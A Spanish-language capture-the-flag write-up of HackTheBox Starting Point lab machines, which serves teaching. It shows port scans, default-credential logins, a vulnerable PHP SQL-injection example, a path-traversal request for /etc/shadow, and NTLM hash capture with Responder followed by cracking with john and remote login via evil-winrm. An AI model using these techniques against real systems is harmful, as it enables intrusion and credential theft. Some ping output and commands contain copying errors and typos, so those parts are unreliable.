Starting Point - un HTB WriteUp

Todas las writeups del starting point como módulos introductorios a HackTheBox. Pasando por Tier1, Tier2, Tier3.

under

Índice


Tier 1

under

Meow

under

Antes de comenzar con Tier1 y la máquina Meow debemos configurar un par de cosas. Estos son los 4 pasos a seguir para descargar la VPN especial de HackTheBox. Esencial para comenzar y desarrollar todas las máquinas de la plataforma.

1 2
VPN 1 VPN 2
3 4
VPN 3 VPN 4


Comenzamos agregando el target de la máquina en nuestra polybar con la utilidad elaborada por unkn0wn1122:

under

Una vez conectados a la VPN, procederemos a encender la máquina:

under

Nos dara también la dirección IP de la máquina -> (10.129.85.116) y ya podremos comenzar:

under

Ahora gracias a un script previamente definido en la .zshrc podemos también agregar a la polybar la dirección IP de la maáquina Meow.

under

Entonces tenemos 3 direcciones IP:

  1. 10.129.85.116 de la máquina Meow
  2. 10.10.16.84 de la VPN de HackTheBox -> Interfaz tun0
  3. 192.168.0.11 nuestra propia dirección IP (Privada) -> Interfaz enp3s0

Como alternativa para saber donde encontrar estas direcciones podemos hacer uso del comando ifconfig:

under

Ahora que ya hemos configurado nuestra máquina y hemos encendido Meow, podremos comenzar con la resolución de la misma.

Enumeración

Creamos un directorio con el nombre de la máquina Meow y posterior creamos unos subdirectorios de trabajo

mkdir {nmap,content,exploit}

Validamos tener nmap instalado con

nmap -v

Ahora vamos a lanzar un escaneo de reconocimiento llamado también fase de enumeración con nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.85.116

Explicación

under

Aunque, el escaneo está perfecto y nos da la información que estamos buscando sobre puertos abiertos, podemos hacer un retoque estético. Para esto podemos exportar la captura nmap en un formato ‘grep’ para aplicar expresiones regulares y obtener lo más relevante en pantalla. Lo haremos agregando al final -oG target.

under

La diferencia es muy clara, tendremos centrada y detallada la información más relevante de la captura. Ahora haremos uso de la siguiente utilidad: extractPorts

extractPorts () {
        ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
        ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
        echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
        echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
        echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
        echo $ports | tr -d '\n' | xclip -sel clip
        echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
        bat extractPorts.tmp
        rm extractPorts.tmp
}

Y como argumento le pasaremos la captura target de nmap:

under

Veremos como lo más importante es la dirección IP de la máquina Meow y su puerto abierto, en este caso 23.

Si queremos tener un poco más de información descriptiva sobre el servicio que se esta ejecutando en el puerto podemos ejecutar:

nmap -sCV -p23 10.129.85.116 -oN targeted

Estaremos escaneando la versión y servicio para el puerto 23 en la IP de la máquina Meow, y la estaremos exportando en formato ‘nmap’/texto_plano en targeted.

under

Y vemos que se está ejecutando un telnet y la máquina es Linux.

Explotación

Telnet es un servicio orientado a conexiones remotas, y su mayor vulnerabilidad es establecer conexiones con credenciales por defecto.

under

Una credencial muy utilizada es root y sin contraseña:

under

Ahora como nos hemos conectado a través de telnet con credenciales de root tenemos control total, solo queda buscar la flag para completar la máquina al 100%.

under

Fawn

under

Siempre es importante hacer uso de la utilidad ifconfig para saber nuestras direcciones IP (de la VPN, local, y de la máquina).

under

Enumeración

Entonces tenemos 3 direcciones IP:

  1. 10.129.221.222 de la máquina Fawn
  2. 10.10.16.84 de la VPN de HackTheBox -> Interfaz tun0
  3. 192.168.0.11 nuestra propia dirección IP (Privada) -> Interfaz enp3s0

Una vez hecho esto, creamos nuestros directorios de trabajo nmap, content, exploits y entramos en nmap. Revisamos que la máquina este activa enviando 5 paquetes:

❯ ping -c 5 10.129.221.222 -R
PING 10.129.221.222 (10.129.221.222) 56(124) bytes of data.
64 bytes from 10.129.221.222: icmp_seq=1 ttl=63 time=102 ms
RR:     10.10.16.84  ---> Nuestra dirección IP de la VPN
        10.129.0.1   ---> Nodo intermediario
        10.129.221.222 -> Máquina Fawn
        10.129.221.222 -> Máquina Fawn
        10.10.16.1   ---> Nodo intermediario
        10.10.16.84  ---> Nuestra dirección IP de la VPN

64 bytes from 10.129.221.222: icmp_seq=2 ttl=63 time=99.0 ms    (same route)
64 bytes from 10.129.221.222: icmp_seq=3 ttl=63 time=100 ms     (same route)
64 bytes from 10.129.221.222: icmp_seq=4 ttl=63 time=97.0 ms    (same route)
64 bytes from 10.129.221.222: icmp_seq=5 ttl=63 time=97.3 ms    (same route)

--- 10.129.221.222 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4003ms
rtt min/avg/max/mdev = 97.040/99.087/102.049/1.851 ms

Debido a los nodos intermediarios es que perdemos un paquete al revisar el TTL -> (Time to Live) donde 64 hace referencia a máquinas Linux y 128 a máquinas Windows. El nodo intermediario hace que baje en una unidad siempre por la VPN. Por tanto, ya sabemos a que nos estamos enfrentando.

Ahora vamos a lanzar un escaneo de reconocimiento llamado también fase de enumeración con nmap y directamente lo exportamos en archivo grep:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.221.222 -oG target

Explicación

El escaneo es bastante rápido pero, para tener guardada la captura la exportamos en formato grep al archivo target. Así nos quedamos con lo más importante de la captura.

under

Podemos ver que el puerto 21 está abierto y es FTP, especial atención a su posible versión ya que podría ser vulnerable. Para hacerlo podemos ejecutar:

nmap -sCV -p21 10.129.221.222 -oN targeted
under

Explotación

Una vez exportada la captura vemos una información mucho más detallada, nos encontramos con FTP vsftpd 3.0.3 y inmediatamente nmap nos reporta que el usuario anonymous puede iniciar sesión en FTP sin contraseña. Por tanto, FPT no está sanitizado. También vemos que nmap nos reporta un archivo con capacidades de lectura para dueño, grupo, y otros. Donde por ‘otros’ seriamos nosotros con el usuario anonymous, así que podremos leer ese archivo flag.txt si nos conectamos a FTP.

Probamos conexión por FPT a la 10.129.221.222

ftp 10.129.221.222
under

Nos pide credenciales y probamos con “anonymous y sin contraseña”. Con ls y get podremos acceder a la flag y tendremos completada la máquina.

Scripting con Python3 y C++

C++

#include <curl/curl.h>
#include <fstream>
#include <iostream>

size_t write_callback(void *ptr, size_t size, size_t nmemb, void *stream) {
  std::ofstream *file = static_cast<std::ofstream *>(stream);
  file->write(static_cast<char *>(ptr), size * nmemb);
  return size * nmemb;
}

int main() {
  CURL *curl;
  CURLcode res;

  std::string ftp_url = "ftp://10.129.221.222/flag.txt";
  std::string usuario = "anonymous:";
  std::ofstream archivo_local("script_cpp.txt", std::ios::binary);

  if (!archivo_local) {
    std::cerr << "[!] Error al abrir el archivo local para escribir.\n";
    return 1;
  }

  curl_global_init(CURL_GLOBAL_DEFAULT);
  curl = curl_easy_init();

  if (curl) {
    curl_easy_setopt(curl, CURLOPT_URL, ftp_url.c_str());
    curl_easy_setopt(curl, CURLOPT_USERPWD, usuario.c_str());
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &archivo_local);

    res = curl_easy_perform(curl);

    if (res != CURLE_OK) {
      std::cerr << "[!] Error: " << curl_easy_strerror(res) << std::endl;
    }

    curl_easy_cleanup(curl);
  }

  curl_global_cleanup();
  archivo_local.close();

  return 0;
}

Python3

#!/usr/bin/env python3
from ftplib import FTP
import sys
import signal
from termcolor import colored

def def_handler(sig, frame):
    print(colored(f"\n[!] Saliendo...", 'red'))
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler) # Ctrl + C

def main():
    FTP_HOST = "10.129.221.222"
    FTP_USER = "anonymous"
    FTP_PASS = ""
    file = "flag.txt"
    file_script = "script_py.txt"
    try:
        ftp = FTP(FTP_HOST)
        ftp.login(FTP_USER, FTP_PASS)
        with open(file_script, "wb") as f:
            ftp.retrbinary(f"RETR {file}", f.write)
        print(colored(f"\n[+] Archivo remoto {file} descargado como {file_script}", 'green'))
        ftp.quit()
    except Exception as e:
        print(colored(f"\n[!] {e}",'red'))

if __name__ == "__main__":
    main()

Dancing

under

Ya sabes como empezar, primero encendiendo la máquina, ubicando nuestras respectivas direcciones IP, creando un directorio con el nombre de la máquina Dancing y podremos comenzar.

Enumeración

Una vez hecho esto, creamos nuestros directorios de trabajo nmap, content, exploits y entramos en nmap. Revisamos que la máquina este activa enviando 5 paquetes:

❯ ping -c 5 10.129.174.184
PING 10.129.174.184 (10.129.174.184) 56(124) bytes of data.
64 bytes from 10.129.174.184: icmp_seq=1 ttl=127 time=102 ms
64 bytes from 10.129.221.222: icmp_seq=2 ttl=127 time=99.0 ms    (same route)
64 bytes from 10.129.221.222: icmp_seq=3 ttl=127 time=100 ms     (same route)
64 bytes from 10.129.221.222: icmp_seq=4 ttl=127 time=97.0 ms    (same route)
64 bytes from 10.129.221.222: icmp_seq=5 ttl=127 time=97.3 ms    (same route)

--- 10.129.221.222 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4003ms
rtt min/avg/max/mdev = 97.040/99.087/102.049/1.851 ms

Una vez encendida la máquina vamos a comenzar a realizar una fase de reconocimiento o enumeración usando la herramienta nmap y directamente lo exportamos en archivo grep:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.174.184 -oG target
under

Podemos ver que hay una gran cantidad de puertos abiertos. Por tanto, podemos hacer uso de la herramienta extractPorts y le pasamos como argumento la captura target:

extractPorts

extractPorts () {
        ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
        ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
        echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
        echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
        echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
        echo $ports | tr -d '\n' | xclip -sel clip
        echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
        bat extractPorts.tmp
        rm extractPorts.tmp
}
under

Ahora vemos lo más importante como la dirección IP y los puertos abiertos 135, 139, 445, 5985, 47001, 49664, 49665, 49666, 49667, 49668, 49669. Vamos a prestar especial atención a estos puertos, ya que pueden tener versiones o servicios expuestos vulnerables. Para ello ejecutamos:

nmap -sCV -p135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.129.174.184 -oN targeted
under

Tratando de enumerar un poco con la herramienta whatweb para conocer el servicio web que estamos viendo por el puerto 5985 nos encontramos un servicio HTTPserver pero, poco mas.

❯ whatweb 10.129.203.2:5985
http://10.129.203.2:5985 [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.129.203.2], Microsoft-HTTPAPI[2.0], Title[Not Found]

Explotación

Especial atención a el puerto 445 ya que ese puerto en especial pertenece al servicio Server Message Block. SMB se usa para el acceso a redes MS por TCP/IP. Podemos hacer uso de la herramienta smbclient que nos permite listar directorios compartidos a nivel de red.

smbclient es una herramienta que permite acceder a los recursos compartidos de un servidor SMB, de forma similar a un cliente FTP de línea de comandos.

under

Y podemos ver los siguientes directorios compartidos a nivel de red:

Para probar acceder a cada uno de estos recursos es a través del comando smbclient hasta que alguno nos responde estableciendo una conexión.

smbclient \\\\10.129.174.184\\ADMIN
smbclient \\\\10.129.174.184\\C
smbclient \\\\10.129.174.184\\IPC
smbclient \\\\10.129.174.184\\WorkShares
under

Y obtenemos acceso con ‘WorkShares’, y podemos hacer uso de algunos comandos familiares como ls, dir, cd, get.

Y encontramos un directorio ‘James.P’ donde encontramos la flag y hemos completado la máquina.

under

Redeemer

under

Estamos frente a la ultima máquina del Starting Point del Tier1. Así como hemos hecho con las anteriores máquinas es importante ir aplicando la metodología. (Encender la máquina, verificar nuestras direcciones IP, crear el directorio con el nombre de la máquina, y los subdirectorios de trabajo, ya conocer la utilidad ifconfig y organizar todo antes de la fase de enumeración).

Enumeración

Comenzamos haciendo un ping para saber sí la máquina está activa:

❯ ping -c 5 10.129.191.232 -R
PING 10.129.191.232 (10.129.191.232) 56(124) bytes of data.
64 bytes from 10.129.191.232: icmp_seq=1 ttl=63 time=113 ms
RR:     10.10.16.84
        10.129.0.1
        10.129.191.232
        10.129.191.232
        10.10.16.1
        10.10.16.84
64 bytes from 10.129.191.232: icmp_seq=2 ttl=63 time=110 ms     (same route)
64 bytes from 10.129.191.232: icmp_seq=3 ttl=63 time=116 ms     (same route)
64 bytes from 10.129.191.232: icmp_seq=4 ttl=63 time=110 ms     (same route)
64 bytes from 10.129.191.232: icmp_seq=5 ttl=63 time=111 ms     (same route)
--- 10.129.191.232 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 110.122/112.022/115.733/2.038 ms

Vamos a realizar un escaneo de puertos sigiloso y rápido utilizando la herramienta nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.191.232 -oG target

Y el escaneo nos arroja un único puerto abierto:

under

Al ser un único puerto, aun necesitamos un poco mas de información respecto a ese puerto, para ello haremos uso de nmap con una serie de scripts básicos de reconocimiento:

nmap -sCV -p6379 10.129.191.232 -oN targeted
under

Explotación

Podemos ver que el puerto 6379 pertenece a un servicio REDIS con una versión 5.0.7. A pesar de buscar en la web sobre está versión y encontrar algunas CVE, ninguna tiene relación a la explotación.

REDIS es una base de datos de Key y Value. Usa pares de datos para guardar la información lo que las hace muy eficientes y similares a los diccionarios. En lugar de crear tablas y relaciones hace pares de datos.

under

Redis desde su web oficial

import redis

r = redis.Redis(host="localhost", port=6379, db=0, decode_responses=True)

res = r.set("bike:1", "Process 134")
print(res)
# >>> True

res = r.get("bike:1")
print(res)
# >>> "Process 134"

Dentro de los comandos que podemos usar tenemos algunos sencillos como info, get, select.

Podemos instalar REDIS ejecutando sudo pacman -S redis y nos crea dos binarios.

Y al conectarnos hacemos el comando info para ver un poco más de información, y vemos que hay una ‘Base de Datos’ llamada db0. Y tiene 4 claves de pares y valores.

under

Podemos usar select 0 para seleccionar esa base de datos db0, y para ver las llaves podemos usars keys *. Y con get nos traemos la llave flag.

under

Y así hemos pw3nd la máquina y completado el Tier1 del Starting Point.


Tier 2

under

Appointment

under

Vamos a encender la máquina, y nos da la dirección IP 10.129.84.205 y lanzamos un ping para saber a que nos estamos enfrentando si a una máquina Linux o Windows.

❯ ping -c 5 10.129.84.205
PING 10.129.84.205 (10.129.84.205) 56(84) bytes of data.
64 bytes from 10.129.84.205: icmp_seq=1 ttl=63 time=97.4 ms
64 bytes from 10.129.84.205: icmp_seq=2 ttl=63 time=98.0 ms
64 bytes from 10.129.84.205: icmp_seq=3 ttl=63 time=98.6 ms
64 bytes from 10.129.84.205: icmp_seq=4 ttl=63 time=100 ms
64 bytes from 10.129.84.205: icmp_seq=5 ttl=63 time=109 ms
--- 10.129.84.205 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 97.444/100.782/109.425/4.438 ms

Vemos un TTL de 63. Por tanto, máquina Linux.

Enumeración

Para hacer un escaneo rápido y sigiloso usamos nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.84.205 -oG allPorts

Abrimos la captura de nmap de todos los puertos abiertos y vemos únicamente el puerto 80.

under

Para no tener tanto ruido de la captura, con la herramienta extractPorts se nos parsea la información más relevante por consola:

under

Lanzamos una serie de scripts básicos de reconocimiento para identificar la versión y servicio de ese puerto 80 de la siguiente manera con nmap:

nmap -sCV -p80 10.129.84.205 -oN targeted
under

La captura revela un servicio HTTP Apache y Login pero, poco más. Haciendo uso de la herramienta whatweb podemos tratar de enumerar un poco sobre el servicio HTTP y efectivamente vemos un Login.

under

Explotación

Con ayuda de nmap podemos lanzar un script programado en Lua, para identificar rutas comunes almacenadas en un diccionario de 1060-1080 entradas posibles para enumerar posibles rutas:

nmap --script http-enum 10.129.84.205 -oN webScan
under

A pesar de encontrar estos directorios, no son útiles y no vemos nada más allá de lo habitual, así que ingresamos a la web:

under

Efectivamente estamos viendo que se emplea un Login, probamos con credenciales por defecto ‘admin:admin. admin:password. root:root’ pero no logramos nada. Otra forma alternativa si no es por credenciales por defecto es que puede estar aplicando una Base de Datos MySQL y debamos hacer una SQL Injection.


¿Qué es una SQL Injection?

La inyección de SQL es un tipo de ciberataque encubierto en el cual un hacker inserta código propio en un sitio web con el fin de quebrantar las medidas de seguridad y acceder a datos protegidos. Una vez dentro, puede controlar la base de datos del sitio web y secuestrar la información de los usuarios.

SQL : Viene de Structured Query Language.

Estas vulnerabilidades están relacionados con AO3:201-Injection.

Para la SQL Injection la idea es explotar los statements de la base de datos ya que estos almacenan datos de entrada de usuario.


Suponiendo que la página renderiza el Login con código .PHP aquí hay un ejemplo de código vulnerable a SQL Injection:

<?php
mysql_connect("localhost", "db_username", "db_password"); # Connection to the SQL Database.
mysql_select_db("users"); # Database table where user information is stored.
$username=$_POST['username']; # User-specified username.
$password=$_POST['password']; #User-specified password.

# Query for user/pass retrieval from the DB.
$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";

# Performs query stored in $sql and stores it in $result.
$result=mysql_query($sql);

# Sets the $count variable to the number of rows stored in $result.
$count=mysql_num_rows($result);

# Checks if there's at least 1 result, and if yes:
if ($count==1){
	$_SESSION['username'] = $username; # Creates a session with the specified $username.
	$_SESSION['password'] = $password; # Creates a session with the specified $password.
	header("location:home.php"); # Redirect to homepage.
}
else { 
	# If there's no singular result of a user/pass combination:
	header("location:login.php");
	
	# No redirection, as the login failed in the case the $count variable is not equal to 1,
	HTTP Response code 200 OK.
}
?>

Para comentar código en .PHP se usa ‘#’. Así que probamos con

Y obtenemos la flag.

under

Sequel

under

Encendemos la máquina y nos da la dirección IP 10.129.133.7, enviamos un ping para saber si es Linux o Windows.

❯ ping -c 5 10.129.133.7
PING 10.129.133.7 (10.129.133.7) 56(84) bytes of data.
64 bytes from 10.129.133.7: icmp_seq=1 ttl=63 time=106 ms
64 bytes from 10.129.133.7: icmp_seq=2 ttl=63 time=98.7 ms
64 bytes from 10.129.133.7: icmp_seq=3 ttl=63 time=97.6 ms
64 bytes from 10.129.133.7: icmp_seq=4 ttl=63 time=98.0 ms
64 bytes from 10.129.133.7: icmp_seq=5 ttl=63 time=97.4 ms
--- 10.129.133.7 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 97.428/99.446/105.501/3.059 ms

Vemos un TTL 63 así que estamos frente a una máquina Linux.

Enumeración

Para la fase de enumeración vamos a lanzar un escaneo rápido y sigiloso con nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.133.7 -oG allPorts
under

Vemos como puerto abierto 3306 un MySQL, y limpiando un poco el ruido de la captura parsearemos la información de la captura con extractPorts:

under

Vamos a realizar un escaneo con una serie de scripts básicos de reconocimiento para identificar la versión y servicio del puerto MySQL.

nmap -sCV -p3306 10.129.133.7 -oG targeted
under

Explotación

Para poder explotar este puerto podemos probar a loguearnos con credenciales por defecto al servicio MySQL usando mariadb.

under

Para solucionar este error de SSL ya que es una version algo desactualizada de SQL agregamos la flag ‘–ssl=OFF’. Y para las credenciales usamos la flag ‘-u root’.

under

Nos acepta la conexión y por tanto ya podemos intentar a ejecutar comandos SQL.

under

Vemos unas bases de datos y todo normal pero, una de ellas llama poderosamente la atención y es la ‘htb’. Así que usamos con:

show databases;
use htb;
show tables;
select * from users;
under

Vemos usuarios y correos, pero aun no vemos la flag, así que revisamos la tabla ‘config’:

select * from config;
under

Y hemos completado la máquina.


Crocodrile

under

Encendemos la máquina y nos da la dirección IP 10.129.1.15 y probamos lanzando 5 trazas ICMP para comprobar que el host este activo.

❯ ping -c 5 10.129.1.15
PING 10.129.1.15 (10.129.1.15) 56(84) bytes of data.
64 bytes from 10.129.1.15: icmp_seq=1 ttl=63 time=101 ms
64 bytes from 10.129.1.15: icmp_seq=2 ttl=63 time=97.6 ms
64 bytes from 10.129.1.15: icmp_seq=3 ttl=63 time=98.1 ms
64 bytes from 10.129.1.15: icmp_seq=4 ttl=63 time=142 ms
64 bytes from 10.129.1.15: icmp_seq=5 ttl=63 time=99.3 ms
--- 10.129.1.15 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4000ms
rtt min/avg/max/mdev = 97.627/107.604/142.192/17.327 ms

El resultado de ping nos arroja un TTL de 63, entonces nos estamos enfrentando a una máquina Linux.

Enumeración

Para comenzar con la fase de enumeración vamos a realizar un escaneo rápido y sigiloso usando nmap para identificar puertos abiertos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.1.15 -oG allPorts
under

Y vemos de la captura una serie de puertos abiertos tal que 21, 80. Vamos a eliminar el ruido con la herramienta extractPorts:

under

Lo siguiente será hacer un escaneo usando nmap y una serie de scripts básicos de reconocimiento:

nmap -sCV -p21,80 10.129.1.15 -oN targeted
under

Explotación

Vemos que la máquina tiene puerto 21 FTP 3.0.3 que es vulnerable a Anonymous Login. Antes de revisar el servicio FTP vamos a realizar un análisis web a la 10.129.1.15:

under

No vemos nada, así que haremos un escaneo con nmap usando un script programado en Lua, para identificar rutas comunes de servicios web con:

nmap --script hhtp-enum 10.129.1.15 -oN webScan
under

Y encontramos algo muy interesante en la captura de nmap una ruta llamada login.php, pero por ahora entablaremos una conexión con el FTP usando como credenciales “anonymous:” y sin contraseña:

under

Listamos el contenido del servicio FTP:

under

Y encontramos 2 archivos llamados ‘allowed.userlist’ y ‘allowed.userlist.passwd’ que es información sensible no sanitizada. Las descargamos a nuestra máquina con el comando get.

under

Y vemos posibles usuarios y credenciales, aun así ahora no podemos hacer nada. Abrimos la página web y vemos lo siguiente.

under

Aun así no encontramos nada importante en la pagina, iremos la dirección que encontramos previamente ‘http://10.129.1.15/login.php’ y encontramos un panel de Login, probamos con credenciales por defecto ‘admin:admin’ ‘root:root’ ‘admin:password’ ‘guest:guest’ y no conseguimos nada. Probamos una inyección SQL ‘admin’#:pruebatest1234’ y sin resultados:

under

Probamos con las credenciales que obtuvimos previamente desde el servicio FTP:

under

Hemos completado la máquina.


Responder

under

Encendemos la máquina y nos da la dirección IP 10.129.175.41, enviamos unos paquetes para saber si el Host está activo:

❯ ping -c 5 10.129.175.41
PING 10.129.175.41 (10.129.175.41) 56(84) bytes of data.
64 bytes from 10.129.175.41: icmp_seq=1 ttl=127 time=115 ms
64 bytes from 10.129.175.41: icmp_seq=2 ttl=127 time=123 ms
64 bytes from 10.129.175.41: icmp_seq=3 ttl=127 time=101 ms
64 bytes from 10.129.175.41: icmp_seq=4 ttl=127 time=97.9 ms
64 bytes from 10.129.175.41: icmp_seq=5 ttl=127 time=98.2 ms
--- 10.129.175.41 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 97.862/107.099/123.071/10.278 ms

Con un TTL de 127 estamos enfrentando una máquina Windows.

Enumeración

Lanzamos un escaneo rápido y sigiloso con nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.175.41 -oG allPorts
under

Vemos 3 puertos abiertos, quitaremos el ruido de la captura de nmap con la herramienta previamente definida en la .zshrc extractPorts:

under

Con la información parseada más importante de la captura vemos los puertos 80, 5985, 7680 pero, aun necesitamos un poco más de información. Por tanto, hacemos un escaneo con nmap usando una serie de scripts básicos de reconocimiento:

nmap -sCV -p80,5985,7680 10.129.175.41 -oN targeted
under

Comenzado con el puerto 80, vamos a tratar de enumerar un poco más a detalle con la herramienta whatweb:

under

Encontramos que hay un dominio unika.htb, es decir, que al momento de ingresar por la dirección IP el navegador no entiende y no puede resolvernos la página de la máquina, por ahora seguimos enumerando el otro puerto HTTP:

under

Sin resultados, lo siguiente sera enumerar posibles rutas comunes por el puerto 80 usando nmap con un script programado en Lua. De esta manera haremos un poco de enumeración web:

namp --script http-enum 10.129.175.41 -oN webScan
under

Las rutas comunes fueron encontradas empleando un diccionario corto y no son muy prometedoras, se intenta como alternativa usar una herramienta más pesada como gobuster para enumerar posibles rutas comunes en el servicio web pero, haciendo uso de un diccionario más grande:

gobuster dir --url 10.129.175.41 --wordlist /opt/apps/Tools/SecList/Discovery/Web-Content/directory-list-2.3-medium.txt -o dirScan
under

Pero no hay nada, así que probamos agregando una búsqueda por archivos con la extensión .PHP sin resultados.

under

Si ingresamos el dominio unika.htb en el navegador nos encontramos conque Firefox no entiende y no puede resolver nuestra solicitud.

under

Por tanto, para arreglaro se agrega al archivo /etc/hosts la dirección IP de la máquina y el dominio.

# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1	localhost
::1		    localhost
127.0.1.1	ferxoo.localdomain	ferxoo

10.129.175.41	unika.htb

Al guardar el nuevo /etc/hosts y recargar la página en nuestro navegador, ahora si nos resuelve y encontramos una página web.

under

Explotación

Es una página sencilla y no cuenta con muchos apartados pero, uno de ellos llama la atención y es cuando cambiamos el idioma de la página a Frances. Podemos ver que la URL cambia y tenemos una variable page que quizás podamos explotar.

under

Intentamos con un Path Trasversal:


¿Qué es Path Trasversal?

Un directory traversal (o salto de directorio o cruce de directorio o path traversal) consiste en explotar una vulnerabilidad informática que ocurre cuando no existe suficiente seguridad en cuanto a la validación de un usuario, permitiéndole acceder a cualquier tipo de directorio superior (padre) sin ningún control.

La finalidad de este ataque es ordenar a la aplicación a acceder a un archivo al que no debería poder acceder o no debería ser accesible. Este ataque se basa en la falta de seguridad en el código. El software está actuando exactamente como debe actuar y en este caso el atacante no está aprovechando un bug en el código.

Directory traversal también es conocido como el ../ ataque punto punto barra, escalado de directorios y backtracking. Ejemplo

Un ejemplo típico de una aplicación vulnerable es:

<?php
$template = 'blue.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
   $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/paloloco/templates/" . $template );
?>

Un ataque contra este sistema podría ser mandar la siguiente petición de HTTP:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/shadow

Generando el servidor una respuesta como:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/bash 
daemon:*:1:1::/tmp: 
paloloco:f8fk3j1OIf31.:182:100:Developer:/home/users/paloloco/:/bin/bash

La repetición de los caracteres ../ después de ‘/home/users/paloloco/templates/’ ha causado que el código [include()](http://www.php.net/manual/en/function.include.php) penetre hasta el directorio raíz y entonces fuese al directorio de contraseñas de UNIX “/etc/shadow”.

El archivo de contraseñas de UNIX es un archivo que se utiliza comúnmente para realizar el directory traversal, y es utilizado frecuentemente para crackear las contraseñas.


Intentamos hacer Path Trasversal con la variable page:

under

No podemos hacer Path Trasversal pero, recordando que hay un puerto 7680:

under

El puerto 7680 pando-pub usa el Protocolo de Control de Transmisión. TCP es uno de los protocolos principales en redes TCP/IP. TCP es un protocolo orientado en la conexión, necesita el apretón de manos para determinar comunicaciones de principio a fin. Solo cuando la conexión es determinada, los datos del usuario pueden ser mandados de modo bidireccional por la conexión.


¿Qué es Local File Inclusion LFI?

LFI son vulnerabilidades web que son posibles gracias a errores por parte de los programadores. Al introducir un descuido de seguridad en las aplicaciones web, los programadores descuidados permiten que usuarios no autorizados accedan a archivos, aprovechen la funcionalidad de descarga, naveguen por la información disponible y mucho más.

PHP emplean estas dos funciones para incluir el contenido de un archivo PHP en otro:

  1. La función include()
  2. La función require().

Lo que separa a estas funciones es cómo responden a los problemas de carga de archivos. La primera función include señala una advertencia pero permite que el script continúe. La segunda, la función require, por otro lado, crea un error fatal, deteniendo así el script.

Entonces, ¿cómo sería un ataque de inclusión de archivos PHP? Algo parecido a esto:

https://example.com/?page=filename.php

Este es un trozo de código que sería vulnerable a un ataque LFI. Verás, cuando la entrada no está desinfectada correctamente, los atacantes no tendrán problemas para modificar la entrada (el ejemplo de abajo) y manipular la aplicación para acceder a archivos restringidos, directorios e información general a través de la directiva “../”. Esto es lo que se conoce como Directory Path Traversal:

https://example.com/?page=../../../../etc/test.txt

En este caso, lo único que tuvo que hacer el ciberdelincuente fue sustituir “nombrearchivo.php” por “../../../etc/test.txt” en la URL de la ruta y, et voilà, pudo acceder al archivo de prueba. En esta fase, el intruso o intrusos podrían cargar un script malicioso en su servidor y acceder a ese script utilizando local file inclusion.


Gracias a este protocolo podemos probar con la herramienta responder a intentar un LFI:

under

NTLM es una colección de protocolos creados por MS, permite autenticar usuarios con un dominio usando un desafío y si las respuestas coinciden el servidor permite el acceso.

La funcion Hash entorno a formularios respecta, tienen su uso para almacenar contraseñas de forma más segura, de manera que no se puede convertir un Hash a su estado original. Un servidor guarda el Hash de la contraseña y cuando el usuario trata de iniciar sesión su texto digitado se ‘Hashea’ y se compara con el almacenado. Si esto es correcto entonces la contraseña es valida.

Un NTHash es la salida del algoritmo que almacena estas contraseñas en sistemas Windows y Controladores de Dominio.

Aquí entra responder, así podremos crear un SMB Malicioso tal que, cuando la página intente su NTLM, responder le envía un desafío, cuando el Servidor responde responder va a utilizar el desafío y la respuesta encriptada para generar un NetNTLMv2 y probamos varias contraseñas. Entonces si alguna genera el desafío Esa sera la contraseña. Este concepto se llama Hash Cracking.

Ejecutamos sudo python3 responder.py -I tun0:

under

Y en la URL intentamos cargar un archivo cualquiera usando nuestra dirección IP de la VPN ‘//10.10.16.84/file’

under

Revisamos nuevamente responder y obtenemos el Hash. Luego, este Hash podemos guardarlo en un archivo ‘.txt’ y podemos usar la herramienta john the ripper para ‘Crackear’ la contraseña.

under

Para ello usamos john y el diccionario rockyou.txt y le pasamos el Hash.

under

Y obtenemos la contraseña del usuario ‘Administrator:badminton’. Para entablar una conexión usamos la herramienta evil-winrm, posterior instalamos las gemas necesarias:

under

Y ahora podemos ejecutar:

under

